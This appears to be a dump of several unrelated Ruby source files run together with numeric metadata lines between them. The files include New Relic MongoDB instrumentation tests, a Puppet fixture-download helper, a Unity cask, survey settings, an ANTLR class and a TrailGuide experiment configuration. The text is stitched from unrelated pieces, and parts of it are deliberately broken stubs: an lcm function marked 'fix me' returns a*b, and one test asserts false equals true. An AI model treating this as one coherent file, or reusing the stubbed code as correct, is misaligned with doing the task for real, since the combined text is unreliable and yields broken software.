@collection.insert_one(@tribbles.first) end metrics = build_test_metrics(:insert, true) expected = metrics_with_attributes(metrics) assert_metrics_recorded(expected) end def test_records_metrics_for_insert_many in_transaction do @collection.insert_many(@tribbles) end metrics = build_test_metrics(:insert, true) expected = metrics_with_attributes(metrics) assert_metrics_recorded(expected) end def test_records_metrics_for_delete_one @collection.insert_one(@tribbles.first) NewRelic::Agent.drop_buffered_data in_transaction do @collection.delete_one(@tribbles.first) end metrics = build_test_metrics(:delete, true) expected = metrics_with_attributes(metrics) assert_metrics_recorded(expected) end def test_records_metrics_for_delete_many @collection.insert_one(@tribbles.first) NewRelic::Agent.drop_buffered_data in_transaction do @collection.delete_many(@tribbles.first) end metrics = build_test_metrics(:delete, true) expected = metrics_with_attributes(metrics) assert_metrics_recorded(expected) end def test_records_metrics_for_replace_one @collection.insert_one(@tribbles.first) NewRelic::Agent.drop_buffered_data in_transaction do @collection.replace_one(@tribbles[0], @tribbles[1]) end metrics = build_test_metrics(:update, true) expected = metrics_with_attributes(metrics) assert_metrics_recorded(expected) end def test_records_metrics_for_update_one @collection.insert_one(@tribbles.first) NewRelic::Agent.drop_buffered_data in_transaction do @collection.update_one(@tribbles[0], "$set" => @tribbles[1]) end metrics = build_test_metrics(:update, true) expected = metrics_with_attributes(metrics) assert_metrics_recorded(expected) end def test_records_metrics_for_update_many @collection.insert_one(@tribbles.first) NewRelic::Agent.drop_buffered_data in_transaction do @collection.update_many(@tribbles[0], "$set" => @tribbles[1]) end metrics = build_test_metrics(:update, true) expected = metrics_with_attributes(metrics) assert_metrics_recorded(expected) end def test_records_metrics_for_find @collection.insert_one(@tribbles.first) NewRelic::Agent.drop_buffered_data in_transaction do @collection.find(@tribbles.first).to_a end metrics = build_test_metrics(:find, true) expected = metrics_with_attributes(metrics) assert_metrics_recorded(expected) end def test_records_metrics_for_find_one_and_delete @collection.insert_one(@tribbles.first) NewRelic::Agent.drop_buffered_data in_transaction do @collection.find_one_and_delete(@tribbles.first) end metrics = build_test_metrics(:findAndModify, true) expected = metrics_with_attributes(metrics) assert_metrics_recorded(expected) end def test_records_metrics_for_find_one_and_replace @collection.insert_one(@tribbles.first) NewRelic::Agent.drop_buffered_data in_transaction do @collection.find_one_and_replace(@tribbles[0], @tribbles[1]) end metrics = build_test_metrics(:findAndModify, true) expected = metrics_with_attributes(metrics) assert_metrics_recorded(expected) end def test_records_metrics_for_find_one_and_update @collection.insert_one(@tribbles.first) NewRelic::Agent.drop_buffered_data in_transaction do @collection.find_one_and_update(@tribbles[0], "$set" => @tribbles[1]) end metrics = build_test_metrics(:findAndModify, true) expected = metrics_with_attributes(metrics) assert_metrics_recorded(expected) end def test_records_metrics_for_distinct in_transaction do @collection.distinct('name') end metrics = build_test_metrics(:distinct, true) expected = metrics_with_attributes(metrics) assert_metrics_recorded(expected) end def test_records_metrics_for_count in_transaction do @collection.count end metrics = build_test_metrics(:count, true) expected = metrics_with_attributes(metrics) assert_metrics_recorded(expected) end def test_records_metrics_for_aggregate in_transaction do @collection.aggregate([ {'$group' => {'_id' => "name", "max" => {'$max'=>"$count"}}}, {'$match' => {'max' => {'$gte' => 1}}} ]).to_a end metrics = build_test_metrics(:aggregate, true) expected = metrics_with_attributes(metrics) assert_metrics_recorded(expected) end def test_aggregate_pipeline_obfuscated_by_default in_transaction do @collection.aggregate([ {'$group' => {'_id' => "name", "max" => {'$max'=>"$count"}}}, {'$match' => {'max' => {'$gte' => 1}}} ]).to_a end sample = last_transaction_trace metric = "Datastore/statement/MongoDB/#{@collection_name}/aggregate" node = find_node_with_name(sample, metric) expected = [ {"$group"=>{"_id"=>"?", "max"=>{"$max"=>"?"}}}, {"$match"=>{"max"=>{"$gte"=>"?"}}} ] assert_equal expected, node[:statement]["pipeline"] end def test_filter_obfuscated_by_default in_transaction do @collection.find("name" => "Wes Mantooth", "count" => {"$gte" => 1}).to_a end sample = last_transaction_trace metric = "Datastore/statement/MongoDB/#{@collection_name}/find" node = find_node_with_name(sample, metric) expected = {"name"=>"?", "count"=>{"$gte"=>"?"}} assert_equal expected, node[:statement]["filter"] end def test_batched_queries 25.times do |i| @collection.insert_one :name => "test-#{i}", :active => true end NewRelic::Agent.drop_buffered_data in_transaction("test_txn") do @collection.find(:active => true).batch_size(10).to_a end expected = { "test_txn" => {:call_count=>1}, "OtherTransactionTotalTime" => {:call_count=>1}, "OtherTransactionTotalTime/test_txn" => {:call_count=>1}, ["Datastore/statement/MongoDB/#{@collection_name}/find", "test_txn"] => {:call_count=>1}, "Datastore/statement/MongoDB/#{@collection_name}/find" => {:call_count=>1}, ["Datastore/statement/MongoDB/#{@collection_name}/getMore", "test_txn"] => {:call_count=>2}, "Datastore/statement/MongoDB/#{@collection_name}/getMore" => {:call_count=>2}, "Datastore/operation/MongoDB/find" => {:call_count=>1}, "Datastore/operation/MongoDB/getMore" => {:call_count=>2}, "Datastore/instance/MongoDB/#{NewRelic::Agent::Hostname.get}/27017" => {:call_count=>3}, "Datastore/MongoDB/allWeb" => {:call_count=>3}, "Datastore/MongoDB/all" => {:call_count=>3}, "Datastore/allWeb" => { :call_count=>3}, "Datastore/all" => {:call_count=>3}, "Supportability/API/drop_buffered_data" => { :call_count => 1 }, "DurationByCaller/Unknown/Unknown/Unknown/Unknown/all" => { :call_count => 1}, "DurationByCaller/Unknown/Unknown/Unknown/Unknown/allWeb" => { :call_count => 1 }, "Logging/lines" => {}, "Logging/lines/DEBUG" => {}, "Logging/size" => {}, "Logging/size/DEBUG" => {}, "Supportability/API/increment_metric" => {}, "Supportability/API/record_metric" => {}, } assert_metrics_recorded_exclusive expected end def test_batched_queries_have_node_per_query 25.times do |i| @collection.insert_one :name => "test-#{i}", :active => true end NewRelic::Agent.drop_buffered_data in_transaction "webby" do @collection.find(:active => true).batch_size(10).to_a end expected = [ "Datastore/statement/MongoDB/#{@collection_name}/find", "Datastore/statement/MongoDB/#{@collection_name}/getMore", "Datastore/statement/MongoDB/#{@collection_name}/getMore" ] trace = last_transaction_trace actual = [] trace.each_node do |n| actual << n.metric_name if n.metric_name.start_with? "Datastore/statement/MongoDB" end assert_equal expected, actual end def test_trace_nodes_have_instance_attributes @collection.insert_one :name => "test", :active => true NewRelic::Agent.drop_buffered_data in_transaction "webby" do @collection.find(:active => true).to_a end trace = last_transaction_trace node = find_node_with_name_matching trace, /^Datastore\// assert_equal NewRelic::Agent::Hostname.get, node[:host] assert_equal '27017', node[:port_path_or_id] assert_equal @database_name, node[:database_name] end def test_drop_collection in_transaction do @collection.drop end metrics = build_test_metrics(:drop, true) expected = metrics_with_attributes(metrics) assert_metrics_recorded(expected) end def test_web_scoped_metrics in_web_transaction("webby") do @collection.insert_one(@tribbles.first) end metric = statement_metric(:insert) assert_metrics_recorded([[metric, "webby"]]) end def test_background_scoped_metrics in_background_transaction("backed-up") do @collection.insert_one(@tribbles.first) end metric = statement_metric(:insert) assert_metrics_recorded([[metric, "backed-up"]]) end def test_notices_nosql node = nil in_transaction do @collection.insert_one(@tribbles.first) end node = find_last_transaction_node expected = { :database => @database_name, :collection => @collection_name, 'insert' => @collection_name, :operation => :insert, 'ordered' => true } result = node.params[:statement] # Depending on the Mongo DB version, we may get back # strings instead of symbols. Let's adjust our # expectations accordingly. # if result[:operation].is_a?(String) expected[:operation] = expected[:operation].to_s end # The writeConcern is added by some, but not all versions # of the mongo driver, we don't care if it's present or # not, just that the statement is noticed # result.delete('writeConcern') if expected.is_a?(String) assert_equal expected, result else expected.each do |key, value| assert_equal value, result[key] end end end def test_noticed_nosql_includes_operation node = nil in_transaction do @collection.insert_one(@tribbles.first) end node = find_last_transaction_node query = node.params[:statement] assert_mongo_operation :insert, query end def test_noticed_nosql_includes_update_one_operation node = nil in_transaction do @collection.update_one(@tribbles[0], @tribbles[1]) end node = find_last_transaction_node query = node.params[:statement] assert_mongo_operation :update, query end def test_noticed_nosql_includes_find_operation node = nil in_transaction do @collection.insert_one(@tribbles.first) @collection.find(@tribbles.first).to_a end node = find_last_transaction_node query = node.params[:statement] assert_mongo_operation 'find', query end def test_noticed_nosql_does_not_contain_documents node = nil in_transaction do @collection.insert_one(@tribbles.first) end node = find_last_transaction_node statement = node.params[:statement] refute statement.keys.include?(:documents), "Noticed NoSQL should not include documents: #{statement}" end def test_noticed_nosql_does_not_contain_selector_values @collection.insert_one({'password' => '$ecret'}) node = nil in_transaction do @collection.find({'password' => '$ecret'}).to_a end node = find_last_transaction_node statement = node.params[:statement] refute statement.inspect.include?('$ecret') assert_equal '?', statement['filter']['password'] end def test_web_requests_record_all_web_metric NewRelic::Agent::Transaction.stubs(:recording_web_transaction?).returns(true) in_web_transaction do @collection.insert_one(@tribbles.first) end metrics = build_test_metrics(:insert, true) expected = metrics_with_attributes(metrics) assert_metrics_recorded(expected) end def test_web_requests_do_not_record_all_other_metric NewRelic::Agent::Transaction.stubs(:recording_web_transaction?).returns(true) in_background_transaction do @collection.insert_one(@tribbles.first) end assert_metrics_not_recorded(['Datastore/allOther']) end def test_other_requests_record_all_other_metric NewRelic::Agent::Transaction.stubs(:recording_web_transaction?).returns(false) in_transaction do @collection.insert_one(@tribbles.first) end metrics = build_test_metrics(:insert, true) expected = metrics_with_attributes(metrics) assert_metrics_recorded(expected) end def test_other_requests_do_not_record_all_web_metric NewRelic::Agent::Transaction.stubs(:recording_web_transaction?).returns(false) @collection.insert_one(@tribbles.first) assert_metrics_not_recorded(['Datastore/allWeb']) end def statement_metric(action) metrics = build_test_metrics(action, true) metrics.select { |m| m.start_with?("Datastore/statement") }.first end def assert_mongo_operation(expected_value, query) assert_equal expected_value.to_s, query[:operation].to_s end end end end end end
34.205832
114
0.581787
f76427ef4a540baaddf70e5856254a278fe80f71
15,092
# frozen_string_literal: true require 'yaml' require 'open3' require 'json' module PuppetlabsSpecHelper; end module PuppetlabsSpecHelper::Tasks; end module PuppetlabsSpecHelper::Tasks::FixtureHelpers # This is a helper for the self-symlink entry of fixtures.yml def source_dir Dir.pwd end # @return [String] - the name of current module def module_name raise ArgumentError unless File.file?('metadata.json') && File.readable?('metadata.json') metadata = JSON.parse(File.read('metadata.json')) metadata_name = metadata.fetch('name', nil) || '' raise ArgumentError if metadata_name.empty? metadata_name.split('-').last rescue JSON::ParserError, ArgumentError File.basename(Dir.pwd).split('-').last end def module_version(path) metadata_path = File.join(path, 'metadata.json') raise ArgumentError unless File.file?(metadata_path) && File.readable?(metadata_path) metadata = JSON.parse(File.read(metadata_path)) metadata.fetch('version', nil) || '0.0.1' rescue JSON::ParserError, ArgumentError logger.warn "Failed to find module version at path #{path}" '0.0.1' end # @return [Hash] - returns a hash of all the fixture repositories # @example # {"puppetlabs-stdlib"=>{"target"=>"https://gitlab.com/puppetlabs/puppet-stdlib.git", # "ref"=>nil, "branch"=>"master", "scm"=>nil, # }} def repositories @repositories ||= fixtures('repositories') || {} end # @return [Hash] - returns a hash of all the fixture forge modules # @example # {"puppetlabs-stdlib"=>{"target"=>"spec/fixtures/modules/stdlib", # "ref"=>nil, "branch"=>nil, "scm"=>nil, # "flags"=>"--module_repository=https://myforge.example.com/", "subdir"=>nil}} def forge_modules @forge_modules ||= fixtures('forge_modules') || {} end # @return [Hash] - a hash of symlinks specified in the fixtures file def symlinks @symlinks ||= fixtures('symlinks') || {} end # @return [Hash] - returns a hash with the module name and the source directory def auto_symlink { module_name => "\#{source_dir}" } end # @return [Boolean] - true if the os is a windows system def windows? !!File::ALT_SEPARATOR end def fixtures(category) fixtures_yaml = if ENV['FIXTURES_YML'] ENV['FIXTURES_YML'] elsif File.exist?('.fixtures.yml') '.fixtures.yml' elsif File.exist?('.fixtures.yaml') '.fixtures.yaml' else false end begin fixtures = if fixtures_yaml YAML.load_file(fixtures_yaml) || { 'fixtures' => {} } else { 'fixtures' => {} } end rescue Errno::ENOENT raise("Fixtures file not found: '#{fixtures_yaml}'") rescue Psych::SyntaxError => e raise("Found malformed YAML in '#{fixtures_yaml}' on line #{e.line} column #{e.column}: #{e.problem}") end unless fixtures.include?('fixtures') # File is non-empty, but does not specify fixtures raise("No 'fixtures' entries found in '#{fixtures_yaml}'; required") end fixture_defaults = if fixtures.include? 'defaults' fixtures['defaults'] else {} end fixtures = fixtures['fixtures'] if fixtures['symlinks'].nil? fixtures['symlinks'] = auto_symlink end result = {} if fixtures.include?(category) && !fixtures[category].nil? defaults = { 'target' => 'spec/fixtures/modules' } # load defaults from the `.fixtures.yml` `defaults` section # for the requested category and merge them into my defaults if fixture_defaults.include? category defaults = defaults.merge(fixture_defaults[category]) end fixtures[category].each do |fixture, opts| # convert a simple string fixture to a hash, by # using the string fixture as the `repo` option of the hash. if opts.instance_of?(String) opts = { 'repo' => opts } end # there should be a warning or something if it's not a hash... next unless opts.instance_of?(Hash) # merge our options into the defaults to get the # final option list opts = defaults.merge(opts) next unless include_repo?(opts['puppet_version']) real_target = eval("\"#{opts['target']}\"", binding, __FILE__, __LINE__) # evaluating target reference in this context (see auto_symlink) real_source = eval("\"#{opts['repo']}\"", binding, __FILE__, __LINE__) # evaluating repo reference in this context (see auto_symlink) result[real_source] = validate_fixture_hash!( 'target' => File.join(real_target, fixture), 'ref' => opts['ref'] || opts['tag'], 'branch' => opts['branch'], 'scm' => opts['scm'], 'flags' => opts['flags'], 'subdir' => opts['subdir'], ) end end result end def validate_fixture_hash!(hash) # Can only validate git based scm return hash unless hash['scm'] == 'git' # Forward slashes in the ref aren't allowed. And is probably a branch name. raise ArgumentError, "The ref for #{hash['target']} is invalid (Contains a forward slash). If this is a branch name, please use the 'branch' setting instead." if hash['ref'] =~ %r{/} hash end def include_repo?(version_range) if version_range && defined?(SemanticPuppet) puppet_spec = Gem::Specification.find_by_name('puppet') puppet_version = SemanticPuppet::Version.parse(puppet_spec.version.to_s) constraint = SemanticPuppet::VersionRange.parse(version_range) constraint.include?(puppet_version) else true end end def clone_repo(scm, remote, target, _subdir = nil, ref = nil, branch = nil, flags = nil) args = [] case scm when 'hg' args.push('clone') args.push('-b', branch) if branch args.push(flags) if flags args.push(remote, target) when 'git' args.push('clone') args.push('--depth 1') unless ref args.push('-b', branch) if branch args.push(flags) if flags args.push(remote, target) else raise "Unfortunately #{scm} is not supported yet" end result = system("#{scm} #{args.flatten.join ' '}") unless File.exist?(target) raise "Failed to clone #{scm} repository #{remote} into #{target}" end result end def update_repo(scm, target) args = case scm when 'hg' ['pull'] when 'git' ['fetch'].tap do |git_args| git_args << '--unshallow' if shallow_git_repo? end else raise "Unfortunately #{scm} is not supported yet" end system("#{scm} #{args.flatten.join(' ')}", chdir: target) end def shallow_git_repo? File.file?(File.join('.git', 'shallow')) end def revision(scm, target, ref) args = [] case scm when 'hg' args.push('update', '--clean', '-r', ref) when 'git' args.push('reset', '--hard', ref) else raise "Unfortunately #{scm} is not supported yet" end result = system("#{scm} #{args.flatten.join ' '}", chdir: target) raise "Invalid ref #{ref} for #{target}" unless result end def valid_repo?(scm, target, remote) return false unless File.directory?(target) return true if scm == 'hg' return true if git_remote_url(target) == remote warn "Git remote for #{target} has changed, recloning repository" FileUtils.rm_rf(target) false end def git_remote_url(target) output, status = Open3.capture2e('git', '--git-dir', File.join(target, '.git'), 'ls-remote', '--get-url', 'origin') status.success? ? output.strip : nil end def remove_subdirectory(target, subdir) unless subdir.nil? Dir.mktmpdir do |tmpdir| FileUtils.mv(Dir.glob("#{target}/#{subdir}/{.[^\.]*,*}"), tmpdir) FileUtils.rm_rf("#{target}/#{subdir}") FileUtils.mv(Dir.glob("#{tmpdir}/{.[^\.]*,*}"), target.to_s) end end end # creates a logger so we can log events with certain levels def logger unless @logger require 'logger' level = if ENV['ENABLE_LOGGER'] Logger::DEBUG else Logger::INFO end @logger = Logger.new($stderr) @logger.level = level end @logger end def module_working_directory # The problem with the relative path is that PMT doesn't expand the path properly and so passing in a relative path here # becomes something like C:\somewhere\backslashes/spec/fixtures/work-dir on Windows, and then PMT barfs itself. # This has been reported as https://tickets.puppetlabs.com/browse/PUP-4884 File.expand_path(ENV['MODULE_WORKING_DIR'] || 'spec/fixtures/work-dir') end # returns the current thread count that is currently active # a status of false or nil means the thread completed # so when anything else we count that as a active thread # @return [Integer] - current thread count def current_thread_count(items) active_threads = items.find_all do |_item, opts| if opts[:thread] opts[:thread].status else false end end logger.debug "Current thread count #{active_threads.count}" active_threads.count end # @summary Set a limit on the amount threads used, defaults to 10 # MAX_FIXTURE_THREAD_COUNT can be used to set this limit # @return [Integer] - returns the max_thread_count def max_thread_limit @max_thread_limit ||= (ENV['MAX_FIXTURE_THREAD_COUNT'] || 10).to_i end # @param items [Hash] - a hash of either repositories or forge modules # @param [Block] - the method you wish to use to download the item def download_items(items) items.each do |remote, opts| # get the current active threads that are alive count = current_thread_count(items) if count < max_thread_limit logger.debug "New Thread started for #{remote}" # start up a new thread and store it in the opts hash opts[:thread] = Thread.new do yield(remote, opts) end else # the last thread started should be the longest wait item, item_opts = items.find_all { |_i, o| o.key?(:thread) }.last logger.debug "Waiting on #{item}" item_opts[:thread].join # wait for the thread to finish # now that we waited lets try again redo end end # wait for all the threads to finish items.each { |_remote, opts| opts[:thread].join } end # @param target [String] - the target directory # @param link [String] - the name of the link you wish to create # works on windows and linux def setup_symlink(target, link) link = link['target'] return if File.symlink?(link) logger.info("Creating symlink from #{link} to #{target}") if windows? target = File.join(File.dirname(link), target) unless Pathname.new(target).absolute? if Dir.respond_to?(:create_junction) Dir.create_junction(link, target) else system("call mklink /J \"#{link.tr('/', '\\')}\" \"#{target.tr('/', '\\')}\"") end else FileUtils.ln_sf(target, link) end end # @return [Boolean] - returns true if the module was downloaded successfully, false otherwise # @param [String] - the remote url or namespace/name of the module to download # @param [Hash] - list of options such as version, branch, ref def download_repository(remote, opts) scm = 'git' target = opts['target'] subdir = opts['subdir'] ref = opts['ref'] scm = opts['scm'] if opts['scm'] branch = opts['branch'] if opts['branch'] flags = opts['flags'] if valid_repo?(scm, target, remote) update_repo(scm, target) else clone_repo(scm, remote, target, subdir, ref, branch, flags) end revision(scm, target, ref) if ref remove_subdirectory(target, subdir) if subdir end # @return [String] - the spec/fixtures/modules directory in the module root folder def module_target_dir @module_target_dir ||= File.expand_path('spec/fixtures/modules') end # @return [Boolean] - returns true if the module was downloaded successfully, false otherwise # @param [String] - the remote url or namespace/name of the module to download # @param [Hash] - list of options such as version def download_module(remote, opts) ref = '' flags = '' if opts.instance_of?(String) target = opts elsif opts.instance_of?(Hash) target = opts['target'] ref = " --version #{opts['ref']}" unless opts['ref'].nil? flags = " #{opts['flags']}" if opts['flags'] end return false if File.directory?(target) && (ref.empty? || opts['ref'] == module_version(target)) # The PMT cannot handle multi threaded runs due to cache directory collisons # so we randomize the directory instead. # Does working_dir even need to be passed? Dir.mktmpdir do |working_dir| command = "puppet module install#{ref}#{flags} --ignore-dependencies" \ ' --force' \ " --module_working_dir \"#{working_dir}\"" \ " --target-dir \"#{module_target_dir}\" \"#{remote}\"" unless system(command) raise "Failed to install module #{remote} to #{module_target_dir}" end end $CHILD_STATUS.success? end end include PuppetlabsSpecHelper::Tasks::FixtureHelpers # DSL include # rubocop:disable Style/MixinUsage desc 'Create the fixtures directory' task :spec_prep do # Ruby only sets File::ALT_SEPARATOR on Windows and Rubys standard library # uses this to check for Windows if windows? begin require 'win32/dir' rescue LoadError warn 'win32-dir gem not installed, falling back to executing mklink directly' end end # git has a race condition creating that directory, that would lead to aborted clone operations FileUtils.mkdir_p('spec/fixtures/modules') symlinks.each { |target, link| setup_symlink(target, link) } download_items(repositories) { |remote, opts| download_repository(remote, opts) } download_items(forge_modules) { |remote, opts| download_module(remote, opts) } FileUtils.mkdir_p('spec/fixtures/manifests') FileUtils.touch('spec/fixtures/manifests/site.pp') end desc 'Clean up the fixtures directory' task :spec_clean do repositories.each do |_remote, opts| target = opts['target'] FileUtils.rm_rf(target) end forge_modules.each do |_remote, opts| target = opts['target'] FileUtils.rm_rf(target) end FileUtils.rm_rf(module_working_directory) Rake::Task[:spec_clean_symlinks].invoke if File.zero?('spec/fixtures/manifests/site.pp') FileUtils.rm_f('spec/fixtures/manifests/site.pp') end end desc 'Clean up any fixture symlinks' task :spec_clean_symlinks do fixtures('symlinks').each do |_source, opts| target = opts['target'] FileUtils.rm_f(target) end end
32.596112
186
0.639279
edeceb7db5862821793bad0ed8634b35132b5640
210
require 'spec_helper' describe RedisMirroring do it 'has a version number' do expect(RedisMirroring::VERSION).not_to be nil end it 'does something useful' do expect(false).to eq(true) end end
17.5
49
0.72381
085aacbaeb99195eba7d5d04a6b8338d86cc233e
784
cask '[email protected]' do version '2018.1.0b4,003615bcffde' sha256 :no_check url "http://beta.unity3d.com/download/003615bcffde/MacEditorInstaller/Unity.pkg" name 'Unity 2018.1.0b4' homepage 'https://unity3d.com/unity/' pkg 'Unity.pkg' preflight do if File.exist? "/Applications/Unity" FileUtils.move "/Applications/Unity", "/Applications/Unity.temp" end end postflight do if File.exist? "/Applications/Unity" FileUtils.move "/Applications/Unity", "/Applications/Unity-2018.1.0b4" end if File.exist? "/Applications/Unity.temp" FileUtils.move "/Applications/Unity.temp", "/Applications/Unity" end end uninstall quit: 'com.unity3d.UnityEditor5.x', delete: '/Applications/Unity-2018.1.0b4' end
26.133333
82
0.683673
28b4c3dcdff32bb2ded8333b71b22f422c945452
196
#!/usr/bin/env ruby # by Andronik Ordian def gcd(a, b) # fix me a * b end def lcm(a, b) # fix me a * b end if __FILE__ == $0 a, b = gets.split().map(&:to_i) puts "#{lcm(a, b)}" end
10.888889
33
0.540816
1893111dd51287a81096c403cb78d97067cc51c6
2,543
=begin The MIT License Copyright (c) 2010 Adam Kapelner and Dana Chandler Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. =end module SurveyCustomizationPrivateFooter NumTrueQuestions = SurveyCustomization::TrueQuestions.length NumCheckQuestions = SurveyCustomization::CheckQuestionIndices.length #defaults NoOpinionDefault = false RandomizeOrderDefault = false LikertMinScoreDefault = 1 LikertMaxScoreDefault = 7 InputMaxCharactersDefault = 20 TextareaWidthDefault = 400 TextareaHeightDefault = 200 NeedsResponseDefault = true DefaultSubmitText = "Continue" #Words per minute (WPM) for questions displayed utilizing the KapCha anti-satisficing #technology. The default of 250 was chosen from Taylor, 1965's study of average #reading speeds where this is the average for a high school student KapChaWordsPerMinute = 250 ResponseDelimiter = ';;;;;;' AllQuestions = SurveyCustomization::SurveyOrder.flatten NumTotalQuestions = AllQuestions.length #make sure each at least have {} for the other responses AllQuestions.each{|q| q[:other_response_params] ||= {}} def Survey.has_an_imc_question? AllQuestions.map{|q| q[:question_type]}.detect{|question_type| question_type == :imc_check} end def Survey.includes_nfc_assessment? AllQuestions.map{|q| q[:question_type]}.detect{|question_type| question_type == :need_for_cognition} end def Survey.use_kapcha?(question_type) Survey::UseKapcha && !Survey::QuestionTypesExemptFromKapCha.include?(question_type) end TurkSurveyorVersion = "1.0b" end
37.955224
104
0.788832
610e4116ebe3cce6e2093b45f46d9bdb5d083c8d
873
module Antlr4::Runtime class Triple attr_accessor :a attr_accessor :b attr_accessor :c def initialize(a, b, c) @a = a @b = b @c = c end def eql?(obj) if obj == self return true else return false unless obj.is_a? Triple end ObjectEqualityComparator.instance.compare(a, obj.a).zero? && ObjectEqualityComparator.instance.compare(b, obj.b).zero? && ObjectEqualityComparator.instance.compare(c, obj.c).zero? end def hash hash_code = RumourHash.hash([@a, @b, @c]) unless @_hash.nil? if hash_code == @_hash puts 'Same hash_code for Triple' else puts 'Different hash_code for Triple' end end @_hash = hash_code end def to_s '(' << @a.to_s << ',' << @b.to_s << ', ' << @c.to_s << ')' end end end
21.292683
185
0.557847
ac9a1883f97edb2970d30d0a0a9f1be264425d30
12,150
# base experiment configuration # TrailGuide::Experiment.configure do |config| # the default algorithm to use for new experiments config.algorithm = :distributed # whether or not experiments must be started manually # # true experiments must be started manually via the admin UI or console # false experiments will start the first time they're encountered by a user config.start_manually = true # whether or not participants will be reset upon conversion # # true participants will only be entered into the experiment once, and the # variant group they belong to is sticky for the duration # false participants will be reset upon conversion and be able to re-enter # the experiment if they encounter it again config.reset_manually = true # whether or not individual assignment is sticky when returning a variant # # this can be useful if you are using a custom, content-based algorithm where # the variant is determined by content rather than user bucketing, and you # want to treat participation more like impressions (i.e. for seo experiments) # # when this option is set to false, conversions will always be tracked against # the last variant that the participant was served # # true participation is incremented the first time a participant is # enrolled, and the participant is assigned their selection for future # reference, stored via the configured participant adapter # false participation will be incremented every time a variant is selected, # and the participant will not be forced into a bucket config.sticky_assignment = true # whether or not to enter participants into a variant when using the override # parameter to preview variants # # true using overrides to preview experiments will enter participants into # that variant group # false using overrides to preview experiments will not enter participants # into the experment (won't persist their variant group) config.store_override = false # whether or not we track participants when using the override parameter to # preview variants # # true using overrides to preview experiments will increment the # participant count for the override variant # false using overrides to preview experiments will not increment the # participant count for the override variant config.track_override = false # whether or not to continue tracking conversions after a winner has been # selected in order to continue monitoring performance of the variant # # true continues to track conversions after a winner has been selected (as # long as the experiment is still running) # false all conversion and participation tracking stops once a winner has # been selected config.track_winner_conversions = false # whether or not to allow multiple conversions of the same goal, or default # conversion if no goals are defined # # true tracks multiple participant conversions for the same goal as long # as they haven't been reset (see config.reset_manually) # false prevents tracking multiple conversions for a single participant config.allow_multiple_conversions = false # whether or not to allow participants to convert for multiple defined goals # # true allows participants to convert more than one goal as long as they # haven't been reset (see config.reset_manually) # false prevents converting to multiple goals for a single participant config.allow_multiple_goals = false # whether or not to enable calibration before an experiment is started - the # participants and conversions will be tracked for your control group while # an experiment remains unstarted, which can be useful for gathering a # baseline conversion rate if you don't already have one # # control is always returned for unstarted experiments by default, and this # configuration only affects whether or not to track metrics # # this setting only applies when start_manually is also true # # true metrics for participation and conversion will be tracked for the # control group until the experiment is started # false metrics will not be tracked while the experiment remains unstarted config.enable_calibration = false # whether or not to skip the request filtering for this experiment - can be # useful when defining content-based experiments with custom algorithms which # bucket participants strictly based on additional content metadata and you # want to expose those variants to crawlers and bots # # true requests that would otherwise be filtered based on your # TrailGuide.configuration.request_filter config will instead be # allowed through to this experiment # false default behavior, requests will be filtered based on your config config.skip_request_filter = false # whether or not this experiment can be resumed after it's stopped - allows # temporarily "pausing" an experiment then resuming it without losing metrics # # true this experiment can be paused and resumed # false this experiment can only be stopped and reset/restarted config.can_resume = false # set a default target sample size for all experiments - this will prevent # metrics and stats from being displayed in the admin UI until the sample size # is reached or the experiment is stopped # # config.target_sample_size = nil # callback when connecting to redis fails and trailguide falls back to always # returning control variants config.on_redis_failover = -> (experiment, error) do TrailGuide.logger.error error end # callback on experiment start, either manually via UI/console or # automatically depending on config.start_manually, can be used for logging, # tracking, etc. # # context may or may not be present depending on how you're triggering the # action - if you're using the admin, this will be the admin controller # context, if you're in a console you have the option to pass a context to # `experiment.start!` or not # # config.on_start = -> (experiment, context) { ... } # callback on experiment schedule manually via UI/console, can be used for logging, # tracking, etc. # # experiments can only be scheduled if config.start_manually is true # # context may or may not be present depending on how you're triggering the # action - if you're using the admin, this will be the admin controller # context, if you're in a console you have the option to pass a context to # `experiment.schedule!` or not # # config.on_schedule = -> (experiment, start_at, stop_at, context) { ... } # callback on experiment stop manually via UI/console, can be used for # logging, tracking, etc. # # context may or may not be present depending on how you're triggering the # action - if you're using the admin, this will be the admin controller # context, if you're in a console you have the option to pass a context to # `experiment.stop!` or not # # config.on_stop = -> (experiment, context) { ... } # callback on experiment pause manually via UI/console, can be used for # logging, tracking, etc. # # context may or may not be present depending on how you're triggering the # action - if you're using the admin, this will be the admin controller # context, if you're in a console you have the option to pass a context to # `experiment.pause!` or not # # config.on_pause = -> (experiment, context) { ... } # callback on experiment resume manually via UI/console, can be used for # logging, tracking, etc. # # context may or may not be present depending on how you're triggering the # action - if you're using the admin, this will be the admin controller # context, if you're in a console you have the option to pass a context to # `experiment.resume!` or not # # config.on_resume = -> (experiment, context) { ... } # callback on experiment delete manually via UI/console, can be used for # logging, tracking, etc. - will also be triggered by a reset # # context may or may not be present depending on how you're triggering the # action - if you're using the admin, this will be the admin controller # context, if you're in a console you have the option to pass a context to # `experiment.delete!` or not # # config.on_delete = -> (experiment, context) { ... } # callback on experiment reset manually via UI/console, can be used for # logging, tracking, etc. - will also trigger any on_delete callbacks # # context may or may not be present depending on how you're triggering the # action - if you're using the admin, this will be the admin controller # context, if you're in a console you have the option to pass a context to # `experiment.reset!` or not # # config.on_reset = -> (experiment, context) { ... } # callback when a winner is selected manually via UI/console, can be used for # logging, tracking, etc. # # context may or may not be present depending on how you're triggering the # action - if you're using the admin, this will be the admin controller # context, if you're in a console you have the option to pass a context to # `experiment.declare_winner!` or not # # config.on_winner = -> (experiment, winner, context) { ... } # callback when a participant is entered into a variant for the first time, # can be used for logging, tracking, etc. # # config.on_choose = -> (experiment, variant, participant, metadata) { ... } # callback every time a participant is returned a variant in the experiment, # can be used for logging, tracking, etc. # # 